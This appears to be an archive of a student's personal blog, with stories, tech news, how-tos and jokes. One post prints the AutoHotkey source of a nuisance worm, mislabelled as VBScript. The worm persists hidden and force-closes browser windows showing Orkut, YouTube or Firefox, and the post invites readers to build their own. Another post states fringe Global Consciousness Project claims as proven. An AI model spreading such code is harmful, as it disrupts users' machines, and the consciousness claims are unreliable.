Enjoy Rains, they'll wash your pains

Pappy

2010-05-22T10:19:00.000-07:00

Some stories make you loose traction from the mundane life, and makes you float through the rustic memory lanes. The lanes that are lit by the dim yellow amber lights, akin to an old fireplace. This story worth a read.

Pappy...

Pappy was a pleasant-looking old fellow. He had the whitest hair which he kept neatly cut and combed. His eyes were blue, though faded with age, and they seemed to emit a warmth from within. His face was quite drawn, but when he smiled, even his wrinkles seemed to soften and smile with him. He had a talent for whistling and did so happily each day as he dusted and swept his pawnshop; even so, he had a secret sadness, but everyone who knew him respected and adored him.
Most of Pappy's customers returned for their goods, and he did not do much business, but he did not mind. To him, the shop was not his livelihood as much as a welcome pastime.
There was a room in the back of his shop where he spent time tinkering with a menagerie of his own precious items. He referred to this back room as "memory hall." In it were pocket watches, clocks, and electric trains. There were miniature steam engines and antique toys made of wood, tin, or cast iron, and there were various other obsolete trinkets as well.
Spending time in memory hall delighted him as he recalled many treasured moments from his past. He handled each item with care, and sometimes he would close his eyes and pause to relive a sweet, simple childhood memory.
One day, Pappy was working to his heart's content reassembling an old railroad lantern. As he worked, he whistled the melody of a railroad tune and reminisced about his own past as a switchman. It was a typical day at the shop. Outside, the sun illuminated the clear sky, and a slight wind passed through the door. Whenever the weather was this nice, Pappy kept the inner door open. He enjoyed the fresh air--almost as much as the distinctive smell of antiques and old engine oil.
As he was polishing his newly restored lantern, he heard the tinkling of his bell on the shop door. The bell, which produced a uniquely charming resound, had been in Pappy's family for over a hundred years. He cherished it dearly and enjoyed sharing its song with all who came to his shop. Although the bell hung on the inside of the main door, Pappy had strung a wire to the screen door so that it would ring whether the inner door was open or not. Prompted by the bell, he left memory hall to greet his customer.
At first, he did not see her. Her shiny, soft curls barely topped the counter. "And how can I help you, little lady?" Pappy's voice was jovial. "Hello, sir." The little girl spoke almost in a whisper. She was dainty. Bashful. Innocent. She looked at Pappy with her big brown eyes, then slowly scanned the room in search of something special. Shyly she told him, "I'd like to buy a present, sir."
"Well, let's see," Pappy said, "who is this present for?"
"My grandpa. It's for my grandpa. But I don't know what to get."
Pappy began to make suggestions. "How about a pocket watch? It's in good condition. I fixed it myself," he said proudly.
The little girl didn't answer. She had walked to the doorway and put her small hand on the door. She wiggled the door gently to ring the bell.
Pappy's face seemed to glow as he saw her smiling with excitement.
"This is just right," the little girl bubbled. "Momma says grandpa loves music."
Just then, Pappy's expression changed. Fearful of breaking the little girl's heart, he told her, "I'm sorry, missy. That's not for sale. Maybe your grandpa would like this little radio."
The little girl looked at the radio, lowered her head, and sadly sighed, "No, I don't think so."
In an effort to help her understand, Pappy told her the story of how the bell had been in his family for so many years, and that was why he didn't want to sell it.
The little girl looked up at him, and with a giant tear in her eye, sweetly said, "I guess I understand. Thank you, anyway."
Suddenly, Pappy thought of how the rest of the family was all gone now, except for his estranged daughter whom he had not seen in nearly a decade.
Why not, he thought. Why not pass it on to someone who will share it with a loved one? God only knows where it will end up anyway.
"Wait...little lady." Pappy spoke just as the little girl was going out the door--just as he was hearing his bell ring for the last time. "I've decided to sell the bell. Here's a hanky. Blow your nose."
The little girl began to clap her hands. "Oh, thank you, sir. Grandpa will be so happy."
"Okay, little lady. Okay." Pappy felt good about helping the child; he knew, however, he would miss the bell. "You must promise to take good care of the bell for your grandpa--and for me, too, okay?" He carefully placed the bell in a brown paper bag.
"Oh, I promise," said the little girl. Then, she suddenly became very still and quiet. There was something she had forgotten to ask. She looked up at Pappy with great concern, and again almost in a whisper, asked, "How much will it cost?"
"Well, let's see. How much have you got to spend?" Pappy asked with a grin.
The child pulled a small coin purse from her pocket then reached up and emptied two dollars and forty-seven cents onto the counter.
After briefly questioning his own sanity, Pappy said, "Little lady, this is your lucky day. That bell costs exactly two dollars and forty-seven cents."
Later that evening as Pappy prepared to close up shop, he found himself thinking about his bell. Already he had decided not to put up another one. He thought about the child and wondered if her grandpa like his gift. Surely he would cherish anything from such a precious grandchild.
At that moment, just as he was going to turn off the light in memory hall, Pappy thought he heard his bell. Again, he questioned his sanity; he turned toward the door, and there stood the little girl. She was ringing the bell and smiling sweetly.
Pappy was puzzled as he strolled toward the small child. "What's this, little lady? Have you changed your mind?"
"No," she grinned. "Momma says it's for you."
Before Pappy had time to say another word, the child's mother stepped into the doorway, and choking back a tear, she gently said, "Hello, Dad."
The little girl tugged on her grandpa's shirttail. "Here, Grandpa.
Here's your hanky. Blow your nose."

Windows 7 Testers Find 2000 Bugs: Be Proud You Found One

2009-03-03T18:56:00.001-08:00

It's been nearly two months since the beta of Windows 7 was officially released, and you will be awestruck hearing this- 2000 unique bugs reported and fixed in windows 7!

This happened because in every Windows 7 program, the title bar has a “Send Feedback” option. So Microsoft is listening to lots of people who are clicking the button!

According to Steve Sinofsky (the sin-of-sky effect is not intentional), senior vice president, Windows live engineering group, Microsoft received over 500,000 reports- that means over 500 reports per developer. During a "peak week in January," they were receiving one report about every fifteen seconds.

Sinofsky goes on to describe what a "bug" really is for a developer. It sounds rather broad, especially with that phrase, "any one of dozens of different ways that the software can behave in a way that isn't expected."

Though, I want to be more exact, a bug is anytime a cosmetic issue, a consistency issue, a crash, a confusing user experience, a compatibility issue, a missing feature, or any one of dozens of different ways that the software can behave in a way that isn't expected!!!

A bug for us is not an emotional term, but just shorthand for an entry that was not made correctly. Nothing to be taken to heart.

Bugs are reported by a human using the various forms of “telemetry” built into Windows 7.

Microsoft has already fixed 2,000 bugs in Windows 7, and I'll bet that there'll be plenty more before this beta is finished in August. Go, go, Windows.

As a side note, don't you think I'm entitled to 1/250,000th of the profits made on 7 for my two Send Feedback items… what do you say?

2008’s biggest tech crime stories

2009-03-03T18:46:00.001-08:00

Here is the collection of biggest 2008 tech crime stories, grilled out from the darkest corners of the internet…

Read the self-confessions of hackers below and feel the chills running through your spine.

1. The spam King

In a boon for email users everywhere, the man whom prosecutors had dubbed "The Spam King" was sentenced to 47 months in prison earlier this year after he pleaded guilty to fraud, spamming and tax evasion in July. Described as one of the world's 10 worst spammers at the time of his arrest by a Microsoft attorney, Soloway, 28, was first sued for spamming by Microsoft in 2003. Despite losing a $7 million civil judgment to Microsoft back in 2005, Soloway continued to send out massive spam up until his arrest in May 2007. In addition to being sentenced to nearly four years in jail, Soloway will also have to serve three years of probation and perform 200 hours of community service.

2. 40 million credit card numbers stolen using SQL Injection

The US Department of Justice revealed this summer that a group of hackers used a combination of wardriving(act of searching for Wi-Fi wireless in a moving vehicle using a laptop or PDA), sniffer software and SQL injection attacks to steal over 40 million credit and debit card numbers from TJX, OfficeMax, Barnes & Noble and other companies and store them on underground server systems in the US, Latvia and the Ukraine. The DOJ(Department of Justice) has indicted 11 alleged hackers on charges of computer fraud, wire fraud, access device fraud, aggravated identity theft. So far only one of the 11 people charged by the DOJ has pleaded guilty.

3. Alcatel official pays $2.5 Million in bribes to Costa Rican Officials

Facing an increasingly competitive telecom market, former Alcatel official Christian Sapsizian decided to secure lucrative telecom contracts the old fashioned way: through bribes. Sapsizian, who worked as Alcatel's deputy vice president for the Latin American region from 2000 to 2004, was convicted in September of paying out $2.5 million in bribes to Costa Rican officials over a four-year period to help Alcatel nail down a $149 million cellular network deal. As punishment, Sapsizian, 62, will have to pay a $261,500 fine and serve three years of supervised release.

4. Thousands of company computers transformed to botnets

Robert Matthew Bentley needed a large network of computers to help him distribute adware. To this end, he hacked into the computer system at Newell Rubbermaid, the plastic-ware company that makes Sharpie markets, and transformed hundreds of its computers into a botnet(A botnet is a network of zombie computers under the remote control of a master). From there, the network was used to infect computers throughout the world with adware on behalf of DollarRevenue, a notorious adware producer that was fined over $1.5 million by the Dutch government for distributing adware in 2007. Bentley, a 21-year-old hacker based in Florida, was paid 0.15 Euros for each European computer he infected with adware and $0.25 for every US PC he infected with adware, investigators said. Bentley pleaded guilty to charges of computer fraud and conspiracy to commit computer fraud. He was sentenced to 41 months in prison and must pay $65,000 restitution.

5. Fraud with internet kiosks

Lillian Glaubman's business propositions were akin to the business plan of South Park's legendary Underpants Gnomes. In other words:

Step 1: Set up Internet kiosks

Step 2: ?????

Step 3: Profit!

This Miami woman was the administrator for Internet kiosk vendor Pantheon Holdings. According to investigators, Pantheon sold businesses Internet kiosks for $18,000 a pop by persuading them that they would reap substantial rewards from both Internet connection access and for advertisements that would appear on the kiosks. Additionally, Pantheon promised to find high-traffic areas for the kiosks and to get advertisers to place ads on the screens.

Predictably, Pantheon never did any work to attract advertisers and the kiosks were more likely to be placed in tumbleweed farms than in well-trafficked zones. In addition to serving jail time, Glaubman was also ordered to pay a whopping $18.2 million in restitution.

6. China made equipments sold as Cisco’s

It's a scam so simple: import a bunch of cheap no-name network equipment from China, pass it off as Cisco gear in the U.S. and walk away with a fortune. Charles Lacy-Thompson, the 52-year-old former owner of the New York-based Coletronic Computer electronics sales company, actually implemented such a scheme over a four-year period from 2003 through 2007. In that time, his company generated sales between $4 million and $5 million per year, and an FBI investigation found that Coletronic possessed more than 3,500 pieces of fake Cisco gear valued at $3.5 million. Despite the best efforts of Lacy-Thompson's lawyer to paint his client as a great guy - say, did you know he's an inspirational youth sports coach and that he volunteers at a local food pantry? - Lacy-Thompson was sentenced to 30 months in prison. He also has agreed to fork over $2.2 million in cash and property to the federal government.

7. Vice-President’s email hacked by a 20-year old lad

In addition to the big convictions for tech-related crime this year, there were several arrests in high-profile cases that are currently awaiting trial. The biggest was that of David Kernell (shown here), a 20-year-old Tennessee man who has been indicted for hacking into former Republican vice-presidential candidate Sarah Palin's email account. He has pleaded not guilty to accessing a protected computer. Other notable arrests include Francis Janosko, a former inmate at the Plymouth County Correctional Facility in Massachusetts who was arrested by the FBI for allegedly hacking into his former prison's computer network and stealing prison workers' Social Security numbers; Viktor Savtyrev, a systems administrator from New Jersey who was arrested for allegedly trying to extort money from a company that had recently laid him off; and Biswamohan Pani, a former Intel employee who has been indicted for allegedly stealing $1 billion worth of trade secrets from his former company.

ORKUT IS BANNED you fool

2009-02-11T23:56:00.001-08:00

“Orkut is banned you fool, the administrators didnt write this program guess who did?? MUHAHAHA!!”

Sounds familiar??? This happens every time you try to open orkut in college. Though you feel frustrated for not being able to do scrapping but you are also left baffled, who wrote this program?

You guess it’s the 4^th year boys who did this and admire their dexterity for writing such a program.

Moreover, you get a similar kinda message when you try to use Firefox, “USE INTERNET EXPLORER YOU DOPE, I DNT HATE MOZILLA BUT USE IE OR ELSE…”

So what is it? Is it made by the 4^th year top-shot coders? Is it embedded somewhere in the nasty internet servers of our college? And the million $ question-“is there a way out?”

We’ill dig out the details for you.

Reality Bites

It’s just a worm (like sujin.np) written in VBScript by a crazy Indian programmer (not from our college, so stop blaming your seniors) who deserves to rot in his/her grave! Cleaning this worm out is a simple step-by-step process:

First press Control-Alt-Delete (Ctrl-Alt-Del is called the three finger exercise in Windows so do it)
Click Processes and look for “svchost.exe” where user name is “USER” or “your name”, NOT “SYSTEM” or “NETWORK SERVICE” or “LOCAL SERVICE” There will be two svchost processes. End both of them.
Now open command prompt (cmd) and point to C:\>
Here, type attrib -s -r -h heap41a /s /d and press enter
Now Open C:\ and delete the heap41a folder (it’s in hidden state)
Finally, remove C:\heap41a\svchost.exe shortcut from (Start > All Programs >Startup)
That’s all!!!

Pendrive(mother of all problems)

This worm enjoys its hefty circulation owing to gullible pendrive users. So it’s necessary to clean the pendrive before and after its use on any computer. It’s again a simple step-by-step process.
Plug in the pen drive (on a clean computer). Make sure you DON’T DOUBLE CLICK on the pen drive.
Right Click on the pen drive and Click “Search” from the menu that appears (Don’t click Autoplay or Open), all belong to the virus and clicking any of them will infect the computer with the virus again.
Type “*.exe ” in the first box (all or part of the filename)
Click “More advanced options” and tick Search hidden files and folders
Click Search button
In the search results, look for application file types with folder icon
These .exe files are trying to disguise themselves as folders to fool you into clicking them, so they most probably are viruses!!!
Delete them and check the pen drive again.
You’re safe now!!!

The worm

As previously told, this worm is written in VB Script which is located in C:\heap41a. Here, have a sneak peek at the code.

This is the Script of the worm (The insane code…)

#persistent

#notrayicon

settimer,ban,2000

return

ban:

WinGetActiveTitle, ed

ifinstring,ed,orkut

{

winclose %ed%

soundplay,C:\heap41a\2.mp3

msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The

administrators didnt write this program guess who did??

`r`r MUHAHAHA!!,30

return

}

ifinstring,ed,youtube

{

winclose %ed%

soundplay,C:\heap41a\2.mp3

msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The

administrators didnt write this program guess who did??

`r`r MUHAHAHA!!,30

return

}

ifinstring,ed,Mozilla Firefox

{

winclose %ed%

msgbox,262160,USE INTERNET EXPLORER YOU DOPE,I DNT HATE MOZILLA

BUT USE IE `r OR ELSE...,30

return

}

ifwinactive ahk_class IEFrame

{

ControlGetText,ed,edit1,ahk_class IEFrame

ifinstring,ed,orkut

{

winclose ahk_class IEFrame

soundplay,C:\heap41a\2.mp3

msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The

administrators didnt write this program guess who did??

`r`r MUHAHAHA!!,30

}

If you get some time, try and build a worm of your own using the above code.

Only for ethical use!!!

µTorrent: a how to do it guide

2009-02-11T23:47:00.001-08:00

Picture this: you have a 4.18GB torrent to download (lets say 30 episodes of X-Files). You are using the Wi-Fi internet in the hostel and after several weeks you realize that the download is just half complete. Now you have your summer vacations after the semesters and you are desperate to go home and enjoy mama’s food. Back home, you have broadband and wonder if its possible to take the 50% complete torrent files, courtesy: hostel Wi-Fi, and resume downloading on another computer at home? Its possible anytime to “resume” a download on “one” machine using any download manager. But is it possible to “resume” download on “another” computer? Affirmative! µTorrent gives you that advantage.

Picture 2: you need to format your computer and many of your torrents are in half complete state. You are afraid that if you’ll format, you’ll have to start downloading torrents from scratch. Is there a way out? There is! You can transfer incomplete torrents from 1^st computer to 2^nd (another) computer.

Transferring incomplete files from 1st computer

Copy the following files from 1^st computer:

1. The incomplete actual downloaded file (not the *.torrent file)

2. The “µTorrent” folder from C:\Documents and Settings\<username>\Application Data

Setting up torrent on 2st computer

1. Install µTorrent on the second machine and paste (replace) the “µTorrent” folder in C:\Documents and Settings\<username>\Application Data of the 2nd computer

2. Paste the incomplete downloaded files anywhere in the 2nd computer.

3. Now open µTorrent. You’ll see that the torrents are showing red crosses before them.

4. Right click any torrent, and click the third last option, “Advanced”>Set Download Location… Here set the path of the location where you just pasted the incomplete files.

5. Voila! The torrent resumes, from where you last left! i.e from 50%

This way you can save precious hours of downloading even when you have to switch from one computer to another

Tips

· Always use µTorrent for downloading torrents as other clients don’t provide similar facility.

· Don’t use FlashGet for torrents as it suffixes *.jc to an incomplete file, and renders a file useless if not completely downloaded.

· Use www.isohunt.com for searching torrents

Offline Gmail: New in Gmail Lab

2009-02-04T17:36:00.000-08:00

The buzz

Wish Gmail could work

like Outlook Express when offline? The gods just heard you(read Google geeks), so they launched another exciting feature this Tuesday (27^th jan) “Offline Gmail”

Where you can store a copy of all your g-mails on your HDD. Well you can do that in Outlook too just by putting gmail’s pop and smtp address… so whats the difference?

The catch here is that you don’t lose the gmail interface. You can just type www.gmail.com in the browser even when offline and switch into the gmail interface just like you’re used to. You can view the cached copy of mails till last synchronization.

Result= the same browser-based Gmail experience even when offline

How is it done?

Gmail uses “Gears”

(www.gears.google.com) which is a browser technology, to download a local cache of mails. Gears allow web applications to interact naturally with the desktop.

Features…

You can read and write messages, star and label them, and do all of the things you're

used to doing while reading your webmail online. Any messages you send while offline will be placed in your outbox and automatically sent the next time Gmail detects a connection.

So if you have squirrels at home that love to chew your internet wire, Offline Gmail is for you!

How to get started

Click the Labs tab
Select Enable next to Offline Gmail.
Click Save Changes.
After your browser reloads, you'll see a new "Offline^0.1" link in the upper righthand corner of your account, next to your username. Click this link to start the offline set up process and download Gears if you don't already have it.

Happy Mailings!

Global Consciousness Program(GCP): Machines can read your mind

2009-01-29T07:17:00.001-08:00

Reality is wilder than fiction. If you are reading it for the first time: Welcome. And if you already knew this: Welcome back.

The article below is not a story out of Isaac Asimov's Science fiction or a plot by Wachowski brothers. Its real and the people in Princeton University are working on it.

The Global Consciousness Program (GCP) is a research that collective feelings and emotions create resonance. This resonance has the power to change the course of universe! Sounds weird? Read on…

When groups of people produce the same feelings and emotions, a resonance occurs. Like the 9/11 incident, Barack Obama's oath, Princess Diana's death etc. At these occasions millions of people experienced same emotions. Even at midnight of a New Year people have similar emotions. Is it possible then these subtle emotions when produced in sheer volume have an impact on the universe? Can the course of Universe be molded if a reverberation of emotions occurs?

GCP is a research led by Princeton University which tries to unravel this supernatural secret. It uses a network of computers spread across the globe to produce some random data and then try to establish a pattern in that data. They found the pattern. The weird thing is that this pattern is disturbed from the normalized line at occasions like 9/11, Tsunami in 2005, Chechen hostage tragedy in 2002, etc. This shows that the subtle but powerful resonance of human emotions has the power to affect the reality axis. The coherent group consciousness is the core of GCP program.

Lectures on GCP

first

So what is GCP?

Global Consciousness Project (GCP) was pioneered by international group of researchers from Princeton University who probably saw many sci-fi movies in their childhood and now pronouncing them in real life. Perhaps some of them can also bend spoons just by their mental power. So you should join them if you too are a sci-fi movie buff!

The core of GCP as told above, lies in group consciousness. The research in GCP records the effect of events that stimulate us to join as a world-wide consciousness, like the New Year eve, when we are all absorbed in celebrations. We are all happy and jovial at that time. Here "we" symbolizes 6 billion people. This "happiness" creates a resonance because of sheer momentum of the number of people involved. Now GCP is a research which tries to answer, "Can this resonance affect non-living things as well?" The research says "yes" (WOW!)

How is the research done?

This part is interesting. GCP works with a network of electronic devices that produce COMPLETELY RANDOM data at dozens of sites, hundreds of times a second, around the world and merge it via the Internet to a central computer.

The central computer is called "NOOSPHERE" after Teilhard de Chardin's idea of a global intelligence… (Remember IRIS from Jonny Quest?!) It gathers all the data, processes it according to sophisticated programs and archives the results. The data is collected several times a second at each of the nodes in the network, thus producing several TBs of data each day.

Thus GCP is a GLOBAL NETWORK of electronic devices producing continuous random data sequences. Subtle patterns in the data are linked with events that cause shared emotions in millions of people. The results challenge common ideas about the world, but independent analyses confirm the unexpected patterns, and also indicate that they cannot be attributed to ordinary physical forces or electromagnetic fields.

Results

The continuous streams of similar pattern from these nodes tend to depart from expectation when major "Global Events" stimulate a wide-spread coherence of thoughts and emotions. These three samples show the average of the cumulative deviation from data collected during such events.

Correlation Patterns at 9/11 2001, Wellstone Plane Crash 2002, Chechen Hostage Tragedy 2002

Random data generally wanders around the horizontal line at zero, while a consistent deviation resulting in a sloping trend indicates that something changed the output of GCP instruments.

"We don't yet know how to explain the subtle correlations between events of importance to humans and the GCP data, but they are quite clear.

The results are evidence that the physical world and our mental world of information and meaning are linked in ways that we don't yet understand."

-Researchers at Princeton [www.noosphere.princeton.edu]

So the next time you invoke a mass bunk and the whole class joins in, remember, the resonance of feelings is disturbing a global pattern that is captured by GCP machines, and you are changing the course of Universe…

If you are fascinated by the idea, you can do more than just reading… you can host a GCP node at your home. Just shoot a mail to rdnelson@princeton.edu. Specific requirements are given at http://noosphere.princeton.edu/eggreq.html

Read more @:
http://noosphere.princeton.edu/

Thoughts have Power

Are peace and non-violence outdated concepts?

2009-01-29T06:54:00.001-08:00

Today we had debate in the college (29^th Jan 09) on a vintage topic "are peace and non-violence outdated concepts?" I did not participate because my bus goes at 5pm and my turn was supposed to come at 6. Nonetheless I heard the views of many people before leaving. Almost all favored the topic. Cool! While returning, I was pondering on the topic as I didn't have time to issue my book from library!

Many times on my way back home, I have seen people involved in verbal duals. With their vehicles parked on the road, blocking the traffic behind and issuing abuses to each other. Sometimes even resorting to fisticuffs. And I wonder, how the ugly scene could have been avoided if either of the them had guts to smile and say "sorry" to the other when they bumped into each other. A smile is a curve that straightens up many problems and prevents violence.

Why do you have to shed blood when things can be sorted just by applying a pinch of gray matter? If you have got enough blood then go and donate it… and let someone else gain life.

The Advertisment story

2009-01-21T09:14:00.000-08:00

A product is launched!! but will it do well? will it strike the right chord with the public?

A bad advertisement and the answers to all the above will be in negative!!! the biggest power that you can give to someone is "the power to decide the fate of things around him"

I am bestowed with this power to make a printed media advertisment for a laptop by Axis-Net. Here it goes:

Business laptop manufacturer Axis has to unveiled an online marketing campaign for the promotion of its Trendy Budget based laptops with a starting range of Rs 30,000/- onwards.

For the first time in India, they have come up with both solar and electricity rechargeable batteries in their laptops at the same time.

They have started a Social community website “AXIS-NET” on Internet to promote it.

And have started a referral programme as a promotional scheme where by referring

the website to three friends will entitled them to play a quiz and every week, one

winner on the basis of a Lucky draw will win a Laptop.

The advertisement should have:

1. Name of The Product

2. Tagline

3. Logo

This is what I made

All about Chrome

2009-01-21T07:46:00.000-08:00

For a decade now, Google has helped us a great deal. And is still adding more innovation so that we can live life king sized! This company has created an identity (read index) for everyone. So the past decade witnessed a billion people loving Google more than their spouses (literally).

You can feel this love of Google (again literally) at http://www.google.com/tenthbirthday

Google seldom produces desktop products. But when it does, they are hyped. The first sensation was Google earth and now Chrome.

Chrome is meant to be simple. Its this logic that derives the engine behind chrome. The guys at Google did an intensive case study before cooking chrome to ensure lasting flavor and aroma. They realized a potent fact that a web browser needs to be designed from scratch, since the world has moved too far ahead of the first web page created fifteen years back.

Google went ahead with this and created the open source Chrome which is as light as feather and as powerful as Rock (feel the pun). They realized that now a web page is not just simple text page rather its a collection of rich interactive features and embedded applications. This requires a browser platform that understands the contingencies of the application and provide an impeccable ambiance for its execution. So instead of revising an existing browser, they redesigned the foundation and reframed the components under one hood.

The result was Chrome that gets out of your way and gets you where you want to go.

The best thing is that Chrome keeps all the tabs in isolated “sandbox” (see picture) thus preventing the entire browser to crash even if a site goes haywire. Remember your fury when your FireFox crashed just because you tried to open a 5mb pdf file on the browser itself? Its very simple in Chrome to shut the ungrateful rogue site and continue life.

Here’s a simple demo how to do so:

If a site stops responding, open up the Task Manager. Figure out which Chrome sandbox is consuming the maximum memory due to instability. With all probability this sandbox is the culprit. Just press End Task and switch to the same site.

The poor webpage is devoured… and you’ll see this message being flashed on the screen.

This is one best reason of me using Chrome… there are several others too though.

Chrome allows you to work in “incognito window” which does not store any personally identifiable data locally like web history, cookies or searches. (It however cannot protect you from the data captured by a website or the people standing behind you!) So use this feature if your cyber cafewala has chrome installed.

Chrome uses V8, a more powerful JavaScript engine, to power the next generation of web applications that aren't even possible in today's browsers.

It has a nice charming interface that allows you to swap the location of tabs in fancy animation, the download button '↓' zooms in and out nicely, and the tabs when undocked are converted to new windows!

Other features include- inbuilt Task Manager, JavaScript Console and debugger, adding to a developer’s delight! Chrome is open source and allows you to view/edit its code. Available at http://code.google.com/chromium/

Chrome also has an inbuilt spell check engine which nudges you every time you fill a wrong word in a web form (just like firefox!). It also suggests you for the most appropriate website when typing in the address bar and auto completes Google searches made in it.

Enough simplicity. What if you want to use some add-ons?

A juicer point of discussion here is that why Chrome does not support toolbars? Including its own, vintage Google toolbar. And the interesting part is that it must had hurt Google more that you by lowering its ads revenue via toolbar searches, then why did they disable the use of ad-ons in Chrome? The probable answer is that this is a beta release and they just want to test the market before applying more layers.

So friends in this detailed enlightenment process you are left with one dilemmatic question “To be or not to be”… The wise answer is: if you like simplicity and cleanliness around you, Chrome is for you. If you like hip hop, colors and extravaganza use firefox… and if you cant move a step without a walking stick, use Internet Explorer!

Retrospect your decision at www.google.com/chrome

Having a Bad Day?

2008-12-11T05:41:00.000-08:00

A couple of days ago, I held the door for three or four families before I entered the store I was visiting. They pushed right by and seemed to ignore my very existence. Not a single person said "thank you!"

This was very frustrating for me -- what in the world happened to manners? Anyhow, this fun page shows me there might just be a solution the next time around that will give me a way to act as impolite to them as they act to me!

In all reality, I don't really think a plan like this would pan out, but the story is definitely good for a laugh! Thanks, and have a great week! -- Alex :-)

Are You Having a Bad Day?

For all of you who occasionally have a really bad day when you just need to take it out on someone, don't take that bad day out on someone you know.

Instead, take it out on someone unfriendly who you don't know!

Now get this. I was sitting at my desk, when I remembered a phone call I had to make. I found the number and dialed it.

A man answered nicely saying, "Hello?"

I politely said, "This is Patrick Hannifin and could I please speak to Robin Carter?"

Suddenly, the phone was slammed down on me! I couldn't believe that anyone could be that rude.

I tracked down Robin's correct number and called her. I had transposed the last two digits incorrectly.

After I hung up with Robin, I spotted the wrong number still lying there on my desk. I decided to call it again.

When the same person once more answered, I yelled "You're a jackass!" and hung up.

Next to his phone number I wrote the word "jackass," and put it in my desk drawer.

Every couple of weeks, when I was paying bills or had a really bad day, I'd call him up.

He'd answer, and I'd yell, "You're a jackass!"

It would always cheer me up.

Later in the year, the phone company introduced caller ID.

This was a real disappointment for me; I would have to stop calling the jackass.

Then, one day, I had an idea.

I dialed his number, then heard his voice, "Hello."

I made up a name. "Hi, this is Mike Smith with the sales office of the telephone company and I'm just calling to see if you're familiar with our caller ID program?"

He went, "No!" and slammed the phone down.

I quickly called him back and said, "That's because you're a jackass!"

The reason I took the time to tell you this story is to show you how if there's ever anything really bothering you, you can do something about it -- just dial my good ol' friend, the jackass, at 555-1111.

[Keep reading! It gets better.]

An old lady at the mall really took her time pulling out of the parking place. I didn't think she was ever going to leave.

Finally, she got the car in reverse and she began to move ... very slowly backing out of the slot.

I backed up a little more to give her plenty of room to pull out.

Great, I thought, she's finally leaving.

All of a sudden this black Camaro comes flying up the parking aisle in the wrong direction and pulls into her space.

I started honking my horn and yelling, "You can't just do that, Buddy. I was here first!"

The guy climbed out of his Camaro completely ignoring me. He walked toward the mall as if he didn't even hear me.

I thought to myself, "This guy's a jackass!" There sure a lot of jackasses in this world.

Then I noticed he had a "For Sale" sign in the back window of his car. I wrote down the number then hunted for another place to park.

A couple of days later, I'm at home sitting at my desk. I had just gotten off the phone after calling 555-1111 and yelling, "You're a jackass!" (It's really easy to call him now since I have his number on speed dial.)

I noticed the phone number of the guy with the black Camaro lying on my desk and thought I'd better call this guy, too.

After a couple rings, someone answered the phone and said, "Hello."

I said, "Is this the man with the black Camaro for sale?"

"Yes, it is."

"Can you tell me where I can see it?"

"Yes, I live at 1802 West 34th street. It's a yellow house and the car's parked right out front."

I said, "What's your name?"

"My name is Don Hansen."

"When's a good time to catch you, Don?"

"I'm home in the evenings."

"Listen Don, can I tell you something?"

"Yes."

"Don, you're a jackass!" And I slammed the phone down.

After I hung up, I added Don Hansen's number to my speed dialer.

For a while, things seemed to be going better for me.

Now, when I had a problem, I had two jackasses to call.

Then, after several weeks of calling the jackasses and hanging up on them, it just wasn't as enjoyable as it used to be.

I gave the problem some serious thought and came up with a solution.

First, I had my phone dial Jackass #1.

A man answered nicely saying, "Hello."

I yelled "You're a jackass!", but I didn't hang up.

The jackass said, "Are you still there?"

I said, "Yeah."

He said, "Stop calling me."

I said, "No."

He said, "What's your name, Pal?"

I said, "Don Hansen."

He said "Where do you live?"

"1802 West 34th Street. It's a yellow house and my black Camaro's parked out front."

"I'm coming over right now, Don. You'd better start saying your prayers."

"Yeah, like I'm really scared, Jackass!" and I hung up.

Then I called Jackass #2.

He answered, "Hello."

I said, "Hello, Jackass!"

He said, "If I ever find out who you are..."

"You'll what?"

"I'll kick your butt."

"Well, here's your chance. I'm coming over right now, Jackass!" And I hung up.

Then I picked up the phone and called the police. I told them I was at 1802 West 34th Street and that I was going to kill my brother-in-law as soon as he got home.

I made another quick call to Channel 13 about the gang war going down on West 34th Street.

After that, I climbed into my car and headed over to 34th Street to watch the whole thing.

Glorious! Watching two Jackasses throwing punches and kicking one another in front of 6 squad cars, a police helicopter, and channel 13 news cameras!!!

It was one of the greatest experiences of my life!

Name withheld to protect the guilty.

Tech Support Horror Stories!

2008-12-11T05:29:00.000-08:00

With all the technical problems we've been having, I thought it was timely to share with you more technical support horror stories of real people struggling with simple things!

The below brings us to the technicial support battlefield where hundreds of brave support teams help the confused users of the world.

REAL technical NIGHTMARES...

1. An AST customer was asked to send a copy of her defective diskettes. A few days later, a letter arrived from the customer along with photocopies of the floppies.

2. A Dell technician advised his customer to put his troubled floppy back in the drive and close the door. The customer asked the tech to hold on, and was heard putting the phone down, getting up and going across the room to close the door.

3. Another Dell customer called to say he couldn't get his computer to fax anything. After 40 minutes of trouble-shooting, the technician discovered the man was trying to fax a piece of paper by holding it in front of the monitor screen and hitting the "send" key.

4. Yet another Dell customer called to complain that his keyboard no longer worked. He had cleaned it by filling up his tub with soap and water and soaking the keyboard for a day, then removing all the keys and washing them individually.

5. A Dell technician received a call from a customer who was enraged because his computer had told him he was "bad and an invalid." The tech explained that the computer's "bad command" and "invalid" responses shouldn't be taken personally.

6. A confused caller to IBM was having troubles printing documents. He told the technician that the computer had said it "couldn't find printer." The user had even tried turning the computer screen to face the printer - but his computer still couldn't find it.

7. An exasperated caller to Dell Computer Tech Support couldn't get her new Dell Computer to turn on. After ensuring the computer was plugged in, the technician asked her what happened when she pushed the power button. Her response, "I pushed and pushed on this foot pedal and nothing happened." The "foot pedal" turned out ot be the mouse!

8. Another customer called Compaq tech support to say her brand-new computer wouldn't work. She said she unpacked the unit, plugged it in, and sat there for 20 minutes waiting for something to happen. When asked what happened when she pressed the power switch, she asked "What power switch?"

9. Another IBM customer had trouble installing software and rang for support. "I put in the first disk, and that was OK. It said to put in the second disk, and I had some problems with it, but I squeezed it in. When it said to put in the third disk - I just can't get it in at all!"

If you love someone, Set her free...

2008-12-08T04:15:00.000-08:00

THE ORIGINAL QUOTE
If you love someone, Set her free... If she comes back, she's yours, If she doesn't, she never was.....
THE NEW VERSIONS
Pessimist:
If you love someone, Set her free ... If she ever comes back, she's yours, If she doesn't, as expected, she never was
Optimist:
If you love someone, Set her free ... Don't worry, she will come back.
Suspicious:
If you love someone, Set her free ... If she ever comes back, ask her why.
Impatient:
If you love someone, Set her free ... If she doesn't come back within some time forget her.
Patient:
If you love someone, Set her free ... If she doesn't come back, continue to wait until she comes back ...
Playful:
If you love someone, Set her free ... If she comes back, and if you love her still, set her free again, repeat ....
C++ Programmer:
if(you-love( m_she)) m_she.free() if(m_she == NULL) m_she = new CShe;
